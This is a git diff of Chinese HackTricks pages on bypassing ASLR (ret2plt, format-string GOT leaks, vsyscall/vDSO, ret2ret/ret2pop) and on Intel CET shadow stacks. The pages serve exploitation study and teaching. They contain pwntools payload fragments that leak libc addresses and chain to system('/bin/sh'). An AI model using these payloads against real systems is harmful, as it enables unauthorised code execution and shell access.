- **env\_start** 和 **env\_end**:**环境变量** 所在的上方和下方的地址
|
||||
|
||||
因此,如果攻击者与被利用的二进制文件在同一台计算机上,并且该二进制文件不期望从原始参数中溢出,而是从一个在读取此文件后可以被构造的不同 **输入** 中溢出。攻击者可以从此文件中获取一些地址,并为利用构造偏移量。
|
||||
因此,如果攻击者与被利用的二进制文件在同一台计算机上,并且该二进制文件不期望从原始参数中溢出,而是从一个可以在读取此文件后构造的不同 **输入** 中溢出,攻击者可以从此文件中获取一些地址,并为利用构造偏移量。
|
||||
|
||||
{% hint style="success" %}
|
||||
有关此文件的更多信息,请查看 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) 搜索 `/proc/pid/stat`
|
||||
|
@ -177,7 +178,7 @@ pass
|
|||
|
||||
- **挑战是提供一个泄漏**
|
||||
|
||||
如果给出一个泄漏(简单的CTF挑战),您可以从中计算偏移量(假设您知道正在利用的系统中使用的确切libc版本)。此示例利用是从 [**此处的示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) 中提取的(查看该页面以获取更多详细信息):
|
||||
如果给出了一个泄漏(简单的CTF挑战),您可以从中计算偏移量(假设您知道在您正在利用的系统中使用的确切libc版本)。此示例利用是从 [**此处的示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) 中提取的(查看该页面以获取更多详细信息):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -212,7 +213,7 @@ p.interactive()
|
|||
|
||||
* **格式化字符串任意读取**
|
||||
|
||||
就像在 ret2plt 中一样,如果通过格式化字符串漏洞实现了任意读取,就可以从 GOT 中窃取 **libc 函数** 的地址。以下[**示例来自这里**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
就像在 ret2plt 中一样,如果通过格式化字符串漏洞具有任意读取权限,则可以从 GOT 中窃取 **libc 函数** 的地址。以下[**示例来自此处**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
|
@ -229,9 +230,9 @@ payload += p32(elf.symbols['main'])
|
|||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ret2ret 和 Ret2pop
|
||||
### Ret2ret & Ret2pop
|
||||
|
||||
尝试通过滥用栈内地址来绕过 ASLR:
|
||||
尝试通过滥用栈内地址来绕过ASLR:
|
||||
|
||||
{% content-ref url="ret2ret.md" %}
|
||||
[ret2ret.md](ret2ret.md)
|
||||
|
@ -239,12 +240,12 @@ payload += p32(elf.symbols['main'])
|
|||
|
||||
### vsyscall
|
||||
|
||||
**`vsyscall`** 机制旨在通过允许在用户空间执行某些系统调用来提高性能,尽管它们从根本上属于内核。**vsyscalls** 的关键优势在于它们的**固定地址**,不受**ASLR**(地址空间布局随机化)的影响。这种固定性意味着攻击者无需信息泄漏漏洞即可确定其地址并在利用中使用。\
|
||||
然而,在这里不会找到非常有趣的小工具(尽管例如可能获得一个 `ret;` 等效的小工具)
|
||||
**`vsyscall`** 机制旨在通过允许在用户空间执行某些系统调用来提高性能,尽管它们从根本上属于内核。 **vsyscalls** 的关键优势在于它们的**固定地址**,不受**ASLR**(地址空间布局随机化)的影响。这种固定性意味着攻击者无需信息泄漏漏洞即可确定其地址并在利用中使用它们。\
|
||||
然而,在这里不会找到非常有趣的小工具(尽管例如可能获得一个`ret;`等效的小工具)
|
||||
|
||||
(以下示例和代码来自[**此文档**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
||||
|
||||
例如,攻击者可能在利用中使用地址 `0xffffffffff600800`。尝试直接跳转到 `ret` 指令可能导致在执行几个小工具后不稳定或崩溃,而跳转到 **vsyscall** 部分提供的 `syscall` 开头可能会成功。通过精心放置一个将执行引导到此 **vsyscall** 地址的 **ROP** 小工具,攻击者可以实现代码执行,而无需绕过利用中的 **ASLR** 部分。
|
||||
例如,攻击者可能在利用中使用地址`0xffffffffff600800`。尝试直接跳转到`ret`指令可能导致在执行几个小工具后不稳定或崩溃,而跳转到**vsyscall**部分提供的`syscall`的开头可能会成功。通过小心地放置一个将执行引导到这个**vsyscall**地址的**ROP**小工具,攻击者可以实现代码执行,而无需绕过利用中的**ASLR**。
|
||||
```
|
||||
ef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
|
@ -287,22 +288,8 @@ gef➤ x/4i 0xffffffffff600800
|
|||
```
|
||||
### vDSO
|
||||
|
||||
因此请注意,如果内核编译时使用 CONFIG\_COMPAT\_VDSO,可能会通过滥用 vdso 来**绕过 ASLR**,因为 vdso 地址不会被随机化。欲了解更多信息,请查看:
|
||||
因此请注意,如果内核编译时使用 CONFIG\_COMPAT\_VDSO,可能可以通过滥用 vdso 来**绕过 ASLR**,因为 vdso 地址不会被随机化。欲了解更多信息,请查看:
|
||||
|
||||
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
|
||||
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,10 @@
|
|||
# Ret2plt
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
该技术的目标是**从PLT中泄漏函数的地址**,以便绕过ASLR。这是因为,例如,如果您泄漏了libc中`puts`函数的地址,那么您可以**计算出`libc`的基址**,并计算偏移量以访问其他函数,如**`system`**。
|
||||
这种技术的目标是**从PLT中泄漏函数的地址**,以便绕过ASLR。这是因为,例如,如果你泄漏了libc中`puts`函数的地址,你就可以**计算出`libc`的基址**,并计算出访问其他函数如**`system`**的偏移量。
|
||||
|
||||
可以使用`pwntools`负载来实现此目的([**参见此处**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||
这可以通过`pwntools`的有效载荷来实现,例如([**从这里**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||
```python
|
||||
# 32-bit ret2plt
|
||||
payload = flat(
|
||||
|
@ -37,12 +23,12 @@ elf.plt['puts'],
|
|||
elf.symbols['main']
|
||||
)
|
||||
```
|
||||
请注意,使用 PLT 中的地址调用 **`puts`** 时,会传入位于 GOT(全局偏移表)中的 `puts` 地址。这是因为当 `puts` 打印 `puts` 的 GOT 条目时,该 **条目将包含内存中 `puts` 的确切地址**。
|
||||
注意如何使用 PLT 中 `puts` 的地址调用,该地址是位于 GOT(全局偏移表)中的 `puts` 地址。这是因为当 `puts` 打印 `puts` 的 GOT 条目时,该条目将包含内存中 `puts` 的确切地址。
|
||||
|
||||
还要注意,在利用中使用了 `main` 的地址,因此当 `puts` 结束执行时,**二进制文件会再次调用 `main` 而不是退出**(因此泄漏的地址将继续有效)。
|
||||
还要注意在利用中使用了 `main` 的地址,因此当 `puts` 结束执行时,**二进制文件会再次调用 `main` 而不是退出**(因此泄漏的地址将继续有效)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,为了使此方法有效,二进制文件**不能使用 PIE 编译**,或者您必须**找到一个泄漏以绕过 PIE**,以便了解 PLT、GOT 和 main 的地址。否则,您需要先绕过 PIE。
|
||||
请注意,为了使此方法有效,**二进制文件不能使用 PIE 编译**,或者您必须**找到一个泄漏以绕过 PIE**,以便了解 PLT、GOT 和 main 的地址。否则,您需要首先绕过 PIE。
|
||||
{% endhint %}
|
||||
|
||||
您可以在[**此处找到此绕过的完整示例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)。这是该**示例**中的最终利用:
|
||||
|
@ -84,20 +70,21 @@ p.interactive()
|
|||
## 其他示例和参考资料
|
||||
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64位,启用ASLR但没有PIE,第一步是填充溢出直到canary的字节0x00,然后调用puts并泄漏它。使用canary创建ROP小工具来调用puts以从GOT中泄漏puts的地址,然后调用一个ROP小工具来调用`system('/bin/sh')`。
|
||||
* 64位,启用ASLR但没有PIE,第一步是填充溢出直到canary的字节0x00,然后调用puts泄漏它。使用canary创建ROP小工具来调用puts以从GOT中泄漏puts的地址,然后调用一个ROP小工具来调用`system('/bin/sh')`。
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64位,启用ASLR,没有canary,在一个子函数中main中的栈溢出。ROP小工具调用puts以泄漏GOT中puts的地址,然后调用一个one gadget。
|
||||
* 64位,启用ASLR,没有canary,在一个子函数中从main中发生堆栈溢出。ROP小工具调用puts以泄漏GOT中puts的地址,然后调用一个one gadget。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,59 @@
|
|||
# Ret2ret & Ret2pop
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Ret2ret
|
||||
|
||||
这种技术的主要**目标**是尝试通过滥用栈中现有指针来**绕过ASLR**。
|
||||
这种技术的主要**目标**是尝试通过滥用栈中现有指针来**绕过 ASLR**。
|
||||
|
||||
基本上,栈溢出通常是由字符串引起的,而**字符串在内存中以空字节结尾**。这使得可以尝试减少栈中现有指针指向的位置。因此,如果栈包含`0xbfffffdd`,这种溢出可以将其转换为`0xbfffff00`(请注意最后一个为零的字节)。
|
||||
基本上,栈溢出通常是由字符串引起的,而**字符串在内存中以空字节结尾**。这使得可以尝试减少栈中已存在指针指向的位置。因此,如果栈中包含`0xbfffffdd`,这种溢出可以将其转换为`0xbfffff00`(注意最后一个被置零的字节)。
|
||||
|
||||
如果该地址指向我们在栈中的shellcode,就可以通过**向`ret`指令添加地址**,直到达到该地址。
|
||||
如果该地址指向我们在栈中的 shellcode,就可以通过**向`ret`指令添加地址**,直到达到该地址。
|
||||
|
||||
因此,攻击将如下进行:
|
||||
|
||||
* NOP滑梯
|
||||
* NOP 滑梯
|
||||
* Shellcode
|
||||
* 用**指向`ret`的地址**(RET滑梯)覆盖EIP的栈
|
||||
* 由字符串添加的0x00修改栈中的地址,使其指向NOP滑梯
|
||||
* 用**指向`ret`的地址**(RET 滑梯)覆盖从 EIP 开始的栈
|
||||
* 由字符串添加的 0x00 修改栈中的地址,使其指向 NOP 滑梯
|
||||
|
||||
通过[**此链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c)您可以看到一个易受攻击的二进制文件的示例,以及[**在这里**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c)攻击。
|
||||
通过[**此链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c)可以看到一个易受攻击的二进制文件示例,以及[**这里**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c)是利用程序。
|
||||
|
||||
## Ret2pop
|
||||
|
||||
如果您可以在栈中找到一个**完美的指针,您不想修改**(在`ret2ret`中,我们将最终的最低字节更改为`0x00`),则可以执行相同的`ret2ret`攻击,但是**RET滑梯的长度必须减少1**(因此最终的`0x00`将覆盖完美指针之前的数据),并且**RET滑梯的最后一个**地址必须指向**`pop <reg>; ret`**。\
|
||||
这样,完美指针之前的数据将从栈中删除(这是受`0x00`影响的数据),并且**最终的`ret`将指向栈中的完美地址**,而不会有任何更改。
|
||||
如果您可以在栈中找到一个**完美的指针,您不想修改**(在`ret2ret`中,我们将最终的最低字节更改为`0x00`),您可以执行相同的`ret2ret`攻击,但是**RET 滑梯的长度必须减少 1**(因此最终的`0x00`会覆盖完美指针之前的数据),并且**RET 滑梯的最后一个**地址必须指向**`pop <reg>; ret`**。\
|
||||
这样,**完美指针之前的数据将从栈中移除**(这是被`0x00`影响的数据),而**最终的`ret`将指向栈中的完美地址**,而不会有任何更改。
|
||||
|
||||
通过[**此链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c)您可以看到一个易受攻击的二进制文件的示例,以及[**在这里**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)攻击。
|
||||
通过[**此链接**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c)可以看到一个易受攻击的二进制文件示例,以及[**这里**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)是利用程序。
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,51 @@
|
|||
# 控制流执行技术(CET)和影子栈
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 控制流执行技术(CET)
|
||||
|
||||
**CET**是一种在硬件级别实现的安全功能,旨在阻止常见的控制流劫持攻击,如**返回导向编程(ROP)**和**跳转导向编程(JOP)**。这些类型的攻击操纵程序的执行流程,以执行恶意代码或以一种执行恶意操作的方式链接一起程序中的良性代码片段。
|
||||
**CET** 是一种在硬件级别实现的安全功能,旨在阻止常见的控制流劫持攻击,如**返回导向编程(ROP)**和**跳转导向编程(JOP)**。这些类型的攻击会操纵程序的执行流程,以执行恶意代码或以一种执行恶意操作的方式链接一起程序中的良性代码片段。
|
||||
|
||||
CET引入了两个主要功能:**间接分支跟踪(IBT)**和**影子栈**。
|
||||
|
||||
* **IBT**确保间接跳转和调用是到有效目标的,这些目标被明确标记为间接分支的合法目的地。通过使用标记有效目标的新指令集来实现这一点,从而防止攻击者将控制流重定向到任意位置。
|
||||
* **IBT** 确保间接跳转和调用只能到达明确标记为间接分支的合法目标。通过使用一组新的指令集来标记有效目标,从而防止攻击者将控制流重定向到任意位置。
|
||||
* **影子栈**是一种为返回地址提供完整性的机制。它保留了一个安全的、隐藏的返回地址副本,与常规调用栈分开。当函数返回时,返回地址将与影子栈进行验证,防止攻击者覆盖栈上的返回地址以劫持控制流。
|
||||
|
||||
## 影子栈
|
||||
|
||||
**影子栈**是一个**专用栈,仅用于存储返回地址**。它与常规栈一起工作,但受到保护并隐藏在正常程序执行之外,使攻击者难以篡改。影子栈的主要目标是确保在可以使用之前检测到对常规栈上返回地址的任何修改,有效地减轻ROP攻击。
|
||||
**影子栈**是一个**专用栈,仅用于存储返回地址**。它与常规栈一起工作,但受到保护并对正常程序执行隐藏,使攻击者难以篡改。影子栈的主要目标是确保在可以使用之前检测到对常规栈上返回地址的任何修改,有效地减轻ROP攻击。
|
||||
|
||||
## CET和影子栈如何防止攻击
|
||||
## CET 和影子栈如何防止攻击
|
||||
|
||||
**ROP和JOP攻击**依赖于能够通过利用允许它们覆盖指针或栈上的返回地址的漏洞来劫持应用程序的控制流。通过将流程引导到现有代码片段或返回导向编程代码片段,攻击者可以执行任意代码。
|
||||
**ROP 和 JOP 攻击**依赖于能够通过利用允许它们覆盖指针或栈上的返回地址的漏洞来劫持应用程序的控制流。通过将流程引导到现有代码片段或返回导向编程片段,攻击者可以执行任意代码。
|
||||
|
||||
* **CET的IBT**功能通过确保间接分支只能跳转到已明确标记为有效目标的地址,使这些攻击变得更加困难。这使得攻击者无法执行散布在二进制文件中的任意代码片段。
|
||||
* 另一方面,**影子栈**确保即使攻击者可以覆盖常规栈上的返回地址,当从函数返回时,**在将损坏的地址与存储在影子栈中的安全副本进行比较时,将检测到不一致**。如果地址不匹配,程序可以终止或采取其他安全措施,防止攻击成功。
|
||||
* **CET 的 IBT** 功能通过确保间接分支只能跳转到明确标记为有效目标的地址,使这些攻击变得更加困难。这使得攻击者无法执行散布在二进制文件中的任意代码片段。
|
||||
* 另一方面,**影子栈**确保即使攻击者可以覆盖常规栈上的返回地址,当从函数返回时,**在将损坏的地址与存储在影子栈中的安全副本进行比较时将检测到不一致**。如果地址不匹配,程序可以终止或采取其他安全措施,防止攻击成功。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,59 @@
|
|||
# Libc保护
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
